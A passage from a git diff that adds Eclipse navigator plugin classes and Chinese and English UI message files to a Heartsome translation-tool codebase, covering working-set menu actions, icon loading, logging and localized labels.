extensionStateModel.setBooleanProperty(WorkingSetsContentProvider.SHOW_TOP_LEVEL_WORKING_SETS, + showWorkingSets); + workingSetRootModeActionGroup.setShowTopLevelWorkingSets(showWorkingSets); + + String lastWorkingSetName = aMemento.getString(TAG_CURRENT_WORKING_SET_NAME); + initWorkingSetFilter(lastWorkingSetName); + } else { + showWorkingSets = false; + + extensionStateModel.setBooleanProperty(WorkingSetsContentProvider.SHOW_TOP_LEVEL_WORKING_SETS, + showWorkingSets); + workingSetRootModeActionGroup.setShowTopLevelWorkingSets(showWorkingSets); + } + } + }); + } + + public void saveState(IMemento aMemento) { + super.saveState(aMemento); + + if (aMemento != null) { + int showWorkingSets = extensionStateModel + .getBooleanProperty(WorkingSetsContentProvider.SHOW_TOP_LEVEL_WORKING_SETS) ? 1 : 0; + aMemento.putInteger(WorkingSetsContentProvider.SHOW_TOP_LEVEL_WORKING_SETS, showWorkingSets); + + if (workingSet != null) { + aMemento.putString(TAG_CURRENT_WORKING_SET_NAME, workingSet.getName()); + } + } + + } + + public void fillActionBars(IActionBars actionBars) { + if (!contributedToViewMenu) { + try { + super.fillActionBars(actionBars); + workingSetActionGroup.fillActionBars(actionBars); + if (workingSetRootModeActionGroup != null) { + workingSetRootModeActionGroup.fillActionBars(actionBars); + } + } finally { + contributedToViewMenu = true; + } + } + } + + public void dispose() { + super.dispose(); + workingSetActionGroup.dispose(); + if (workingSetRootModeActionGroup != null) { + workingSetRootModeActionGroup.dispose(); + } + + managerChangeListener.ignore(); + extensionStateModel.removePropertyChangeListener(topLevelModeListener); + + contentService.getActivationService().removeExtensionActivationListener(activationListener); + } + + /** + * This is used only for the tests. + * + * @return a PropertyChangeListener + */ + public IPropertyChangeListener getFilterChangeListener() { + return filterChangeListener; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/WorkingSetRootModeActionGroup.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/WorkingSetRootModeActionGroup.java new file mode 100644 index 0000000..e40f837 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/WorkingSetRootModeActionGroup.java @@ -0,0 +1,230 @@ +/******************************************************************************* + * Copyright (c) 2006, 2010 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.ContributionItem; +import org.eclipse.jface.action.IAction; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.action.Separator; +import org.eclipse.jface.viewers.StructuredViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.ISharedImages; +import org.eclipse.ui.IWorkbenchActionConstants; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionGroup; +import org.eclipse.ui.ide.IDE; +import org.eclipse.ui.internal.navigator.resources.plugin.WorkbenchNavigatorPlugin; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider; +import org.eclipse.ui.navigator.IExtensionStateModel; + +/** + * + * Provides the radio buttons at the top of the view menu that control the root + * of the ProjectExplorer, which is either working sets of projects. When the + * state is changed through the actions, the WorkingSetsContentProvider.SHOW_TOP_LEVEL_WORKING_SETS + * property in the extension state model is updated. + * + * This is installed by the WorkingSetActionProvider. + * + * @since 3.2 + * + */ +public class WorkingSetRootModeActionGroup extends ActionGroup { + + private IExtensionStateModel stateModel; + private StructuredViewer structuredViewer; + + private boolean hasContributedToViewMenu = false; + private IAction workingSetsAction = null; + private IAction projectsAction = null; + private IAction[] actions; + private int currentSelection; + private MenuItem[] items; + + private class TopLevelContentAction extends Action { + + private final boolean groupWorkingSets; + + /** + * Construct an Action that represents a toggle-able state between + * Showing top level Working Sets and Projects. + * + * @param toGroupWorkingSets + */ + public TopLevelContentAction(boolean toGroupWorkingSets) { + super("", AS_RADIO_BUTTON); //$NON-NLS-1$ + groupWorkingSets = toGroupWorkingSets; + } + + /* + * @see org.eclipse.jface.action.IAction#run() + */ + public void run() { + if (stateModel + .getBooleanProperty(WorkingSetsContentProvider.SHOW_TOP_LEVEL_WORKING_SETS) != groupWorkingSets) { + stateModel.setBooleanProperty( + WorkingSetsContentProvider.SHOW_TOP_LEVEL_WORKING_SETS, + groupWorkingSets); + + structuredViewer.getControl().setRedraw(false); + try { + structuredViewer.refresh(); + } finally { + structuredViewer.getControl().setRedraw(true); + } + } + } + } + + /** + * Create an action group that will listen to the stateModel and update the + * structuredViewer when necessary. + * + * @param aStructuredViewer + * @param aStateModel + */ + public WorkingSetRootModeActionGroup(StructuredViewer aStructuredViewer, + IExtensionStateModel aStateModel) { + super(); + structuredViewer = aStructuredViewer; + stateModel = aStateModel; + } + + /* + * (non-Javadoc) + * + * @see ActionGroup#fillActionBars(IActionBars) + */ + public void fillActionBars(IActionBars actionBars) { + if (hasContributedToViewMenu) + return; + IMenuManager topLevelSubMenu = new MenuManager( + WorkbenchNavigatorMessages.actions_WorkingSetRootModeActionGroup_Top_Level_Element_); + addActions(topLevelSubMenu); + actionBars.getMenuManager().insertBefore(IWorkbenchActionConstants.MB_ADDITIONS, topLevelSubMenu); + hasContributedToViewMenu = true; + } + + /** + * Adds the actions to the given menu manager. + */ + protected void addActions(IMenuManager viewMenu) { + if (actions == null) + actions = createActions(); + + viewMenu.add(new Separator()); + items = new MenuItem[actions.length]; + + for (int i = 0; i < actions.length; i++) { + final int j = i; + + viewMenu.add(new ContributionItem() { + + public void fill(Menu menu, int index) { + + int style = SWT.CHECK; + if ((actions[j].getStyle() & IAction.AS_RADIO_BUTTON) != 0) + style = SWT.RADIO; + + final MenuItem mi = new MenuItem(menu, style, index); + items[j] = mi; + mi.setText(actions[j].getText()); + mi.setSelection(currentSelection == j); + mi.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent e) { + if (currentSelection == j) { + items[currentSelection].setSelection(true); + return; + } + actions[j].run(); + + // Update checked state + items[currentSelection].setSelection(false); + currentSelection = j; + items[currentSelection].setSelection(true); + } + + }); + + } + + public boolean isDynamic() { + return false; + } + }); + } + } + + private IAction[] createActions() { + + ISharedImages sharedImages = PlatformUI.getWorkbench() + .getSharedImages(); + + projectsAction = new TopLevelContentAction(false); + projectsAction + .setText(WorkbenchNavigatorMessages.actions_WorkingSetRootModeActionGroup_Project_); + projectsAction.setImageDescriptor(sharedImages + .getImageDescriptor(IDE.SharedImages.IMG_OBJ_PROJECT)); + + workingSetsAction = new TopLevelContentAction(true); + workingSetsAction + .setText(WorkbenchNavigatorMessages.actions_WorkingSetRootModeActionGroup_Working_Set_); + workingSetsAction.setImageDescriptor(WorkbenchNavigatorPlugin + .getDefault().getImageRegistry().getDescriptor( + "full/obj16/workingsets.gif")); //$NON-NLS-1$ + + return new IAction[] { projectsAction, workingSetsAction }; + } + + /** + * Toggle whether top level working sets should be displayed as a group or + * collapse to just show their contents. + * + * @param showTopLevelWorkingSets + */ + public void setShowTopLevelWorkingSets(boolean showTopLevelWorkingSets) { + if (actions == null) + actions = createActions(); + + currentSelection = showTopLevelWorkingSets ? 1 : 0; + workingSetsAction.setChecked(showTopLevelWorkingSets); + projectsAction.setChecked(!showTopLevelWorkingSets); + + if (items != null) { + for (int i = 0; i < items.length; i++) { + if(items[i] != null && actions[i] != null) + items[i].setSelection(actions[i].isChecked()); + } + } + if (stateModel != null) { + stateModel.setBooleanProperty( + WorkingSetsContentProvider.SHOW_TOP_LEVEL_WORKING_SETS, + showTopLevelWorkingSets); + } + } + + /** + * @param sStateModel + */ + public void setStateModel(IExtensionStateModel sStateModel) { + stateModel = sStateModel; + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/plugin/NavigatorUIPluginImages.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/plugin/NavigatorUIPluginImages.java new file mode 100644 index 0000000..67fd4c5 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/plugin/NavigatorUIPluginImages.java @@ -0,0 +1,126 @@ +/******************************************************************************* + * Copyright (c) 2003, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.plugin; + +import java.net.MalformedURLException; +import java.net.URL; +import java.util.Collections; + +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.action.IAction; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.ImageRegistry; +import org.eclipse.swt.graphics.Image; +import org.eclipse.ui.internal.navigator.NavigatorPlugin; + +/** + * Handles all images and icons for the ui. + * + *

    + * EXPERIMENTAL. This class or interface has been added as part + * of a work in progress. There is a guarantee neither that this API will work + * nor that it will remain the same. Please do not use this API without + * consulting with the Platform/UI team. + *

    + * + * @since 3.2 + */ +public class NavigatorUIPluginImages { + + private static URL fgIconLocation; + + // Create image registry + private final static ImageRegistry NAVIGATORUIPLUGIN_REGISTRY = NavigatorPlugin.getDefault().getImageRegistry(); + + // Create the icon location + static { + String pathSuffix = "icons/full/"; //$NON-NLS-1$ + fgIconLocation = FileLocator.find(NavigatorPlugin.getDefault().getBundle(), new Path(pathSuffix), Collections.EMPTY_MAP); + } + + /** + * Gets the current image. + * + * @param key + * - Name of the icon. + * @return Image + */ + public static Image get(String key) { + return NAVIGATORUIPLUGIN_REGISTRY.get(key); + } + + /** + * Create and returns a image descriptor. + * + * @param prefix + * - Icon dir structure. + * @param name + * - The name of the icon. + * @return ImageDescriptor + */ + private static ImageDescriptor create(String prefix, String name) { + return ImageDescriptor.createFromURL(makeIconFileURL(prefix, name)); + } + + /** + * Creates the icon url + * + * @param prefix + * - Icon dir structure. + * @param name + * - The name of the icon. + * @return URL + */ + private static URL makeIconFileURL(String prefix, String name) { + StringBuffer buffer = new StringBuffer(prefix); + buffer.append(name); + try { + return new URL(fgIconLocation, buffer.toString()); + } catch (MalformedURLException ex) { + + return null; + } + } + + /** + * Sets the three image descriptors for enabled, disabled, and hovered to an + * action. The actions are retrieved from the *lcl16 folders. + * + * @param action + * the action + * @param iconName + * the icon name + */ + public static void setLocalImageDescriptors(IAction action, String iconName) { + setImageDescriptors(action, "lcl16/", iconName); //$NON-NLS-1$ + } + + /** + * Sets all available image descriptors for the given action. + * + * @param action + * - The action associated with the icon. + * @param type + * - The type of icon. + * @param relPath + * - The relative path of the icon. + */ + public static void setImageDescriptors(IAction action, String type, String relPath) { + // /*relPath= relPath.substring(NAVIGATORUI_NAME_PREFIX_LENGTH);*/ + // action.setDisabledImageDescriptor(create("d" + type, relPath)); + // //$NON-NLS-1$ + // action.setHoverImageDescriptor(create("c" + type, relPath)); + // //$NON-NLS-1$ + action.setImageDescriptor(create("e" + type, relPath)); //$NON-NLS-1$ + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/plugin/WorkbenchNavigatorPlugin.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/plugin/WorkbenchNavigatorPlugin.java new file mode 100644 index 0000000..656b409 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/plugin/WorkbenchNavigatorPlugin.java @@ -0,0 +1,142 @@ +/******************************************************************************* + * Copyright (c) 2003, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.plugin; + +import org.eclipse.core.resources.IWorkspace; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.ui.plugin.AbstractUIPlugin; + +/** + * The main plugin class for the workbench Navigator. + * + * @since 3.2 + */ +public class WorkbenchNavigatorPlugin extends AbstractUIPlugin { + // The shared instance. + private static WorkbenchNavigatorPlugin plugin; + + /** The plugin id */ + public static String PLUGIN_ID = "org.eclipse.ui.navigator.resources"; //$NON-NLS-1$ + + /** + * Creates a new instance of the receiver + */ + public WorkbenchNavigatorPlugin() { + super(); + plugin = this; + } + + /** + * @return the shared instance. + */ + public static WorkbenchNavigatorPlugin getDefault() { + return plugin; + } + + /** + * @return the workspace instance. + */ + public static IWorkspace getWorkspace() { + return ResourcesPlugin.getWorkspace(); + } + + /** + * Logs errors. + * @param message The message to log + * @param status The status to log + */ + public static void log(String message, IStatus status) { + if (message != null) { + getDefault().getLog().log( + new Status(IStatus.ERROR, PLUGIN_ID, 0, message, null)); + System.err.println(message + "\nReason:"); //$NON-NLS-1$ + } + if(status != null) { + getDefault().getLog().log(status); + System.err.println(status.getMessage()); + } + } + + /** + * Create a status associated with this plugin. + * + * @param severity + * @param aCode + * @param aMessage + * @param exception + * @return A status configured with this plugin's id and the given + * parameters. + */ + public static IStatus createStatus(int severity, int aCode, + String aMessage, Throwable exception) { + return new Status(severity, PLUGIN_ID, aCode, + aMessage != null ? aMessage : "No message.", exception); //$NON-NLS-1$ + } + + /** + * + * @param aCode + * @param aMessage + * @param exception + * @return A status configured with this plugin's id and the given + * parameters. + */ + public static IStatus createErrorStatus(int aCode, String aMessage, + Throwable exception) { + return createStatus(IStatus.ERROR, aCode, aMessage, exception); + } + + + /** + * + * @param aMessage + * @param exception + * @return A status configured with this plugin's id and the given + * parameters. + */ + public static IStatus createErrorStatus(String aMessage, Throwable exception) { + return createStatus(IStatus.ERROR, 0, aMessage, exception); + } + + /** + * + * @param aMessage + * @return A status configured with this plugin's id and the given + * parameters. + */ + public static IStatus createErrorStatus(String aMessage) { + return createStatus(IStatus.ERROR, 0, aMessage, null); + } + + + /** + * + * @param aMessage + * @return A status configured with this plugin's id and the given + * parameters. + */ + public static IStatus createInfoStatus(String aMessage) { + return createStatus(IStatus.INFO, 0, aMessage, null); + } + + + /** + * + * @param aMessage + * @return A status configured with this plugin's id and the given + * parameters. + */ + public static IStatus createWarningStatus(String aMessage) { + return createStatus(IStatus.WARNING, 0, aMessage, null); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/WorkbenchNavigatorMessages.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/WorkbenchNavigatorMessages.java new file mode 100644 index 0000000..08822cb --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/WorkbenchNavigatorMessages.java @@ -0,0 +1,84 @@ +/******************************************************************************* + * Copyright (c) 2003, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.resource; + +import org.eclipse.osgi.util.NLS; + +/** + * Utility class which helps managing messages + * + * + * @since 3.2 + */ +public class WorkbenchNavigatorMessages extends NLS { + /** The bundle properties file */ + public static final String BUNDLE_NAME = "org.eclipse.ui.internal.navigator.resources.resource.messages"; //$NON-NLS-1$ + + public static String navigator_all_dialog_warning; + public static String PortingActionProvider_ImportResourcesMenu_label; + + public static String PortingActionProvider_ExportResourcesMenu_label; + + public static String actions_NewActionProvider_NewMenu_label; + + public static String actions_OpenActionProvider_OpenWithMenu_label; + + public static String resources_ResourceDropAdapterAssistant_title; + public static String resources_ResourceDropAdapterAssistant_problemImporting; + public static String resources_ResourceDropAdapterAssistant_problemsMoving; + public static String resources_ResourceDropAdapterAssistant_targetMustBeResource; + public static String resources_ResourceDropAdapterAssistant_canNotDropIntoClosedProject; + public static String resources_ResourceDropAdapterAssistant_resourcesCanNotBeSiblings; + public static String resources_ResourceDropAdapterAssistant_canNotDropProjectIntoProject; + public static String resources_ResourceDropAdapterAssistant_dropOperationErrorOther; + + public static String resources_ResourceDropAdapterAssistant_MoveResourceAction_title; + public static String resources_ResourceDropAdapterAssistant_MoveResourceAction_checkMoveMessage; + + public static String actions_ResourceMgmtActionProvider_logTitle; + + public static String actions_WorkingSetRootModeActionGroup_Top_Level_Element_; + public static String actions_WorkingSetRootModeActionGroup_Project_; + public static String actions_WorkingSetRootModeActionGroup_Working_Set_; + public static String actions_WorkingSetActionProvider_multipleWorkingSets; + + public static String actions_CopyAction_Cop_; + public static String actions_CopyAction_Copy_selected_resource_s_; + + public static String actions_PasteAction_Past_; + public static String actions_PasteAction_Paste_selected_resource_s_; + + public static String actions_GotoResourceDialog_GoToTitle; + + public static String resources_ProjectExplorer_toolTip; + public static String resources_ProjectExplorer_toolTip2; + public static String resources_ProjectExplorer_toolTip3; + + public static String resources_ProjectExplorerPart_workspace; + public static String resources_ProjectExplorerPart_workingSetModel; + + public static String actions_CopyAction_msgTitle; + public static String actions_CopyAction_msg; + public static String actions_EditActionGroup_pasteAction; + public static String actions_EditActionGroup_copyAction; + public static String actions_EditActionGroup_deleteAction; + public static String actions_OpenActionProvider_openFileAction; + public static String actions_RefactorActionGroup_moveAction; + public static String actions_RefactorActionGroup_renameAction; + public static String actions_ResourceMgmtActionProvider_openProjectAction; + public static String actions_ResourceMgmtActionProvider_closeProjectAction; + public static String actions_ResourceMgmtActionProvider_refreshAction; + public static String actions_OpenFileWithValidAction_notFindProgram; + + static { + initializeMessages(BUNDLE_NAME, WorkbenchNavigatorMessages.class); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/messages.properties b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/messages.properties new file mode 100644 index 0000000..0f9c664 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/messages.properties @@ -0,0 +1,43 @@ +navigator_all_dialog_warning = \u8b66\u544a +resources_ResourceDropAdapterAssistant_title=\u62d6\u653e\u9519\u8bef +actions_OpenActionProvider_OpenWithMenu_label=\u6253\u5f00\u65b9\u5f0f +actions_WorkingSetRootModeActionGroup_Top_Level_Element_=\u9876\u5c42\u5143\u7d20 +actions_WorkingSetRootModeActionGroup_Project_=\u9879\u76ee +resources_ResourceDropAdapterAssistant_resourcesCanNotBeSiblings=\u8d44\u6e90\u4e0d\u80fd\u662f\u9879\u76ee\u7684\u540c\u4ee3 +PortingActionProvider_ImportResourcesMenu_label=\u5bfc\u5165(&I) +resources_ResourceDropAdapterAssistant_MoveResourceAction_title=\u68c0\u67e5\u79fb\u52a8 +PortingActionProvider_ExportResourcesMenu_label=\u5bfc\u51fa(&X) +actions_WorkingSetRootModeActionGroup_Working_Set_=\u5de5\u4f5c\u96c6 +resources_ResourceDropAdapterAssistant_targetMustBeResource=\u76ee\u6807\u5fc5\u987b\u662f\u8d44\u6e90 +resources_ResourceDropAdapterAssistant_problemImporting=\u5bfc\u5165\u8d44\u6e90\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +resources_ResourceDropAdapterAssistant_MoveResourceAction_checkMoveMessage=\u6587\u4ef6 ''{0}'' \u4e3a\u53ea\u8bfb\u6587\u4ef6\u3002\u786e\u5b9a\u8981\u79fb\u52a8\u5b83\u5417\uff1f +resources_ResourceDropAdapterAssistant_canNotDropIntoClosedProject=\u4e0d\u80fd\u5c06\u8d44\u6e90\u653e\u5165\u5df2\u5173\u95ed\u7684\u9879\u76ee\u4e2d\u3002 +resources_ResourceDropAdapterAssistant_canNotDropProjectIntoProject=\u65e0\u6cd5\u5c06\u9879\u76ee\u653e\u5165\u53e6\u4e00\u4e2a\u9879\u76ee\u4e2d\u3002 +resources_ResourceDropAdapterAssistant_problemsMoving=\u79fb\u52a8\u8d44\u6e90\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +resources_ResourceDropAdapterAssistant_dropOperationErrorOther=\u6267\u884c\u653e\u5165\u64cd\u4f5c\u671f\u95f4\u51fa\u73b0\u9519\u8bef\u3002 +actions_NewActionProvider_NewMenu_label=\u65b0\u5efa +actions_CopyAction_Cop_=\u590d\u5236 +actions_CopyAction_Copy_selected_resource_s_=\u590d\u5236\u6240\u9009\u7684\u8d44\u6e90 +actions_PasteAction_Past_=\u7c98\u8d34 +actions_PasteAction_Paste_selected_resource_s_=\u7c98\u8d34\u6240\u9009\u7684\u8d44\u6e90 +actions_GotoResourceDialog_GoToTitle=\u8f6c\u81f3\u8d44\u6e90 +actions_WorkingSetActionProvider_multipleWorkingSets=\u591a\u4e2a\u5de5\u4f5c\u96c6 +resources_ProjectExplorer_toolTip= \u5de5\u4f5c\u96c6\uff1a{0} +resources_ProjectExplorer_toolTip2= {0} - \u5de5\u4f5c\u96c6\uff1a{1} +resources_ProjectExplorer_toolTip3= {0}/{1} +resources_ProjectExplorerPart_workspace=\u5de5\u4f5c\u7a7a\u95f4 +resources_ProjectExplorerPart_workingSetModel=\u5de5\u4f5c\u96c6 +actions_ResourceMgmtActionProvider_logTitle= \u7c7b {0} \u51fa\u73b0\u5f02\u5e38\u3002\u8fd0\u884c\u65f6\u5806\u6808\uff1a{1} + +actions_CopyAction_msgTitle = \u590d\u5236\u51fa\u73b0\u9519\u8bef +actions_CopyAction_msg = \u590d\u5236\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +actions_EditActionGroup_pasteAction = \u7c98\u8d34 +actions_EditActionGroup_copyAction = \u590d\u5236 +actions_EditActionGroup_deleteAction = \u5220\u9664 +actions_OpenActionProvider_openFileAction = \u6253\u5f00\u6587\u4ef6 +actions_OpenFileWithValidAction_notFindProgram = \u65e0\u6cd5\u6253\u5f00\u6b64\u6587\u4ef6\uff1a\u6587\u4ef6\u683c\u5f0f {0} \u6ca1\u6709\u5173\u8054\u7684\u5e94\u7528\u7a0b\u5e8f\u3002\n\u8bf7\u5728\u7cfb\u7edf\u4e2d\u4e3a\u8be5\u6587\u4ef6\u683c\u5f0f\u8bbe\u7f6e\u5173\u8054\u7a0b\u5e8f\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +actions_RefactorActionGroup_moveAction = \u79fb\u52a8... +actions_RefactorActionGroup_renameAction = \u91cd\u547d\u540d... +actions_ResourceMgmtActionProvider_openProjectAction = \u6fc0\u6d3b\u9879\u76ee +actions_ResourceMgmtActionProvider_closeProjectAction = \u5173\u95ed\u9879\u76ee +actions_ResourceMgmtActionProvider_refreshAction = \u5237\u65b0 diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/messages_en.properties b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/messages_en.properties new file mode 100644 index 0000000..354f3c6 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/messages_en.properties @@ -0,0 +1,43 @@ +navigator_all_dialog_warning = Warning +resources_ResourceDropAdapterAssistant_title=Drag and drop error +actions_OpenActionProvider_OpenWithMenu_label=Open +actions_WorkingSetRootModeActionGroup_Top_Level_Element_=Top level element +actions_WorkingSetRootModeActionGroup_Project_=Project +resources_ResourceDropAdapterAssistant_resourcesCanNotBeSiblings=Resources can not be the siblings of the project. +PortingActionProvider_ImportResourcesMenu_label=&Import +resources_ResourceDropAdapterAssistant_MoveResourceAction_title=Check Move +PortingActionProvider_ExportResourcesMenu_label=&Export +actions_WorkingSetRootModeActionGroup_Working_Set_=Working set +resources_ResourceDropAdapterAssistant_targetMustBeResource=Target must be a resource. +resources_ResourceDropAdapterAssistant_problemImporting=An error occured when importing resources. +resources_ResourceDropAdapterAssistant_MoveResourceAction_checkMoveMessage=File ''{0}'' is read-only. Are you sure you want to move it? +resources_ResourceDropAdapterAssistant_canNotDropIntoClosedProject=Can not drag and drop resources to a closed project. +resources_ResourceDropAdapterAssistant_canNotDropProjectIntoProject=Can not put one project into another. +resources_ResourceDropAdapterAssistant_problemsMoving=An error occured when moving resources. +resources_ResourceDropAdapterAssistant_dropOperationErrorOther=An error occured while performing drag and drop operation. +actions_NewActionProvider_NewMenu_label=New +actions_CopyAction_Cop_=Copy +actions_CopyAction_Copy_selected_resource_s_=Copy selected resources +actions_PasteAction_Past_=Paste +actions_PasteAction_Paste_selected_resource_s_=Paste selected resources +actions_GotoResourceDialog_GoToTitle=Go to resources +actions_WorkingSetActionProvider_multipleWorkingSets=Multiple Working set +resources_ProjectExplorer_toolTip= Working set: {0} +resources_ProjectExplorer_toolTip2= {0} - Working set: {1} +resources_ProjectExplorer_toolTip3= {0}/{1} +resources_ProjectExplorerPart_workspace=Workspace +resources_ProjectExplorerPart_workingSetModel=Working set +actions_ResourceMgmtActionProvider_logTitle= Exceptions occurred at class {0} Run-time stack: {1} + +actions_CopyAction_msgTitle = An error occured when copying... +actions_CopyAction_msg = An error occured when copying... +actions_EditActionGroup_pasteAction = Paste +actions_EditActionGroup_copyAction = Copy +actions_EditActionGroup_deleteAction = Delete +actions_OpenActionProvider_openFileAction = Open +actions_OpenFileWithValidAction_notFindProgram = Unable to open: the file format {0} is not associated with any application.\nPlease associate the file format with a suitable application, and then retry. +actions_RefactorActionGroup_moveAction = Move... +actions_RefactorActionGroup_renameAction = Rename... +actions_ResourceMgmtActionProvider_openProjectAction = Activate Project +actions_ResourceMgmtActionProvider_closeProjectAction = Close Project +actions_ResourceMgmtActionProvider_refreshAction = Refresh diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/messages_zh.properties b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/messages_zh.properties new file mode 100644 index 0000000..0f9c664 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/resource/messages_zh.properties @@ -0,0 +1,43 @@ +navigator_all_dialog_warning = \u8b66\u544a +resources_ResourceDropAdapterAssistant_title=\u62d6\u653e\u9519\u8bef +actions_OpenActionProvider_OpenWithMenu_label=\u6253\u5f00\u65b9\u5f0f +actions_WorkingSetRootModeActionGroup_Top_Level_Element_=\u9876\u5c42\u5143\u7d20 +actions_WorkingSetRootModeActionGroup_Project_=\u9879\u76ee +resources_ResourceDropAdapterAssistant_resourcesCanNotBeSiblings=\u8d44\u6e90\u4e0d\u80fd\u662f\u9879\u76ee\u7684\u540c\u4ee3 +PortingActionProvider_ImportResourcesMenu_label=\u5bfc\u5165(&I) +resources_ResourceDropAdapterAssistant_MoveResourceAction_title=\u68c0\u67e5\u79fb\u52a8 +PortingActionProvider_ExportResourcesMenu_label=\u5bfc\u51fa(&X) +actions_WorkingSetRootModeActionGroup_Working_Set_=\u5de5\u4f5c\u96c6 +resources_ResourceDropAdapterAssistant_targetMustBeResource=\u76ee\u6807\u5fc5\u987b\u662f\u8d44\u6e90 +resources_ResourceDropAdapterAssistant_problemImporting=\u5bfc\u5165\u8d44\u6e90\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +resources_ResourceDropAdapterAssistant_MoveResourceAction_checkMoveMessage=\u6587\u4ef6 ''{0}'' \u4e3a\u53ea\u8bfb\u6587\u4ef6\u3002\u786e\u5b9a\u8981\u79fb\u52a8\u5b83\u5417\uff1f +resources_ResourceDropAdapterAssistant_canNotDropIntoClosedProject=\u4e0d\u80fd\u5c06\u8d44\u6e90\u653e\u5165\u5df2\u5173\u95ed\u7684\u9879\u76ee\u4e2d\u3002 +resources_ResourceDropAdapterAssistant_canNotDropProjectIntoProject=\u65e0\u6cd5\u5c06\u9879\u76ee\u653e\u5165\u53e6\u4e00\u4e2a\u9879\u76ee\u4e2d\u3002 +resources_ResourceDropAdapterAssistant_problemsMoving=\u79fb\u52a8\u8d44\u6e90\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +resources_ResourceDropAdapterAssistant_dropOperationErrorOther=\u6267\u884c\u653e\u5165\u64cd\u4f5c\u671f\u95f4\u51fa\u73b0\u9519\u8bef\u3002 +actions_NewActionProvider_NewMenu_label=\u65b0\u5efa +actions_CopyAction_Cop_=\u590d\u5236 +actions_CopyAction_Copy_selected_resource_s_=\u590d\u5236\u6240\u9009\u7684\u8d44\u6e90 +actions_PasteAction_Past_=\u7c98\u8d34 +actions_PasteAction_Paste_selected_resource_s_=\u7c98\u8d34\u6240\u9009\u7684\u8d44\u6e90 +actions_GotoResourceDialog_GoToTitle=\u8f6c\u81f3\u8d44\u6e90 +actions_WorkingSetActionProvider_multipleWorkingSets=\u591a\u4e2a\u5de5\u4f5c\u96c6 +resources_ProjectExplorer_toolTip= 